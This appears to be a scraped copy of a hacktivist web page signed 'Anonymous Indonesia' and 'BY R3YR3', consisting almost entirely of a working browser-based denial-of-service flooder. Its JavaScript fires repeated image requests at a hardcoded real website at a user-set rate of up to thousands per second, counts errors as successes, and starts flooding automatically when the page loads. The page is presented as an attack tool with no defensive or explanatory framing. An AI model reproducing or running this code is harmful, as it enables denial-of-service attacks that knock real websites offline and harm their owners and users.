You are on page 1of 8

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>DOWN TO SERVER</title>
<!--

/\
/ \ _ __ ___ _ __ _ _ _ __ ___ ___ _ _ ___
/ /\ \ | '_ \ / _ \| '_ \| | | | '_ ` _ \ / _ \| | | / __|
/ ____ \| | | | (_) | | | | |_| | | | | | | (_) | |_| \__ \
/_/

\_\_| |_|\___/|_| |_|\__, |_| |_| |_|\___/ \__,_|___/


__/ |
|___/

Indonesian Hacker Team

-->
<style type="text/css">

body {

margin:5% 15%; background:url('') fixed right 50%; font-family:Courier New,


Courier, monospace; color:#808080; background-attachment:fixed; backgroundrepeat:repeat
}
fieldset {
border-style: none;
margin: 10px;
}
p{
margin: 0;
}
input {
margin: 0;
background-color: transparent;
border: none;
text-align: center;
font-family:"Courier New", Courier, monospace;
color: green;
}
</style>
<script type="text/javascript">
function setAttributeOnload(object, attribute, val) {
if(window.addEventListener) {
window.addEventListener("load",
function(){ object[attribute] = val; }, false);
} else {
window.attachEvent('onload', function(){ object[attribute] = val; });

}
}
</script>
</head>

<div id="title" align="center"><font size="+3" color="red">[#</font><font


size="+3"><font color="purple">
Anonymous Indonesia </font></font><font size="+3" color="red">
#]</font></div>

<br><br>

<div id="hive" align="center">


<font color="red">[</font><font color="blue">Target</font><font
color="red">]</font><br>
<input name="target" id="targetURL" style="width: 100%;
"value="http://komputekonline.net/"><br><br>

<font color="red">[</font><font color="blue">Keterangan</font><font


color="red">]</font><br>
<input id="rps" style="width: 100%;" value="5000"><br><br>

<fieldset>
<font color="red">[</font><font color="blue">MESSAGE</font><font
color="red">]</font><br>
<input id="message" style="width: 100%;" value="DOWN TO SERVER"
><br><br>
</fieldset>

<font color="red">[</font><font color="blue"> STATUS </font><font


color="red">]</font><br>

<font color="brown"> Keterangan </font><p id="requestedCtr"><font


color="green">0</p>
SUCCES <p id="succeededCtr">0</p></font>
<font color="brown"> ERROR </font><p id="failedCtr">0</p><br>
<button id="fireButton" style="background-color:#000000; border-color: rgb(255,
255, 255); color: rgb(255, 255, 255);">
Detener</button><br><br><br>
</div>
<p align="center">

<script>
(function () {

var fireInterval;
var isFiring = false;
var currentTime = new Date()
var lastSuccess = currentTime.getTime();

var requestedCtrNode = document.getElementById("requestedCtr"),


succeededCtrNode = document.getElementById("succeededCtr"),
failedCtrNode = document.getElementById("failedCtr"),
targetURLNode = document.getElementById("targetURL"),
fireButton = document.getElementById("fireButton"),
messageNode = document.getElementById("message"),

rpsNode = document.getElementById("rps"),
timeoutNode = document.getElementById("timeout");

var targetURL = targetURLNode.value;


targetURLNode.onchange = function () {
targetURL = this.value;
};

var requestsHT = {}; //

var requestedCtr = 0,
succeededCtr = 0,
failedCtr = 0;

var makeHttpRequest = function () {

if ( (currentTime.getTime()-lastSuccess) > 10000) { // Permite No Enviar


mas de 1000 peticiones
return;
} else { lastSuccess = currentTime.getTime();};

var rID =Number(new Date());


var img = new Image();
img.onerror = function () { onFail(rID); };
img.onabort = function () { onFail(rID); };
img.onload = function () { onSuccess(rID); }; //

img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" +


messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
};

var onRequest = function (rID) {


requestedCtr++;
requestedCtrNode.innerHTML = requestedCtr;
};

var onComplete = function (rID) {


delete requestsHT[rID];
};

var onFail = function (rID) {


// failedCtr++;
//failedCtrNode.innerHTML = failedCtr;

succeededCtr++; //
succeededCtrNode.innerHTML = succeededCtr;

delete requestsHT[rID]; //
};

var onSuccess = function (rID) {

succeededCtr++;
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID];
};

fireButton.onclick = function () {
if (isFiring) {
clearInterval(fireInterval);

isFiring = false;
this.innerHTML = "START";
} else {
isFiring = true;
this.innerHTML = "STOP!";

fireInterval = setInterval(makeHttpRequest, (1000 /


parseInt(rpsNode.value) | 0));
}
};
function Firecrash() {
if (isFiring) {
clearInterval(fireInterval);

isFiring = false;
this.innerHTML = "Atacar!";
} else {
isFiring = true;

this.innerHTML = "Stop flooding";

fireInterval = setInterval(makeHttpRequest, (1000 /


parseInt(rpsNode.value) | 0));
}
};
//Cambiar Target y desconectar la funcion Firecrash();
document.getElementById("targetURL").value = "http://komputekonline.net/";
Firecrash();

})();
</script>

</p>
<div id="footer" align="center">
<p><font color="red"># [</font><font color="blue"></font><font
color="red"></font><font color="blue"></font><font color="red">BY R3YR3]
#</font></p>
</div>
</body>
</html>

You might also like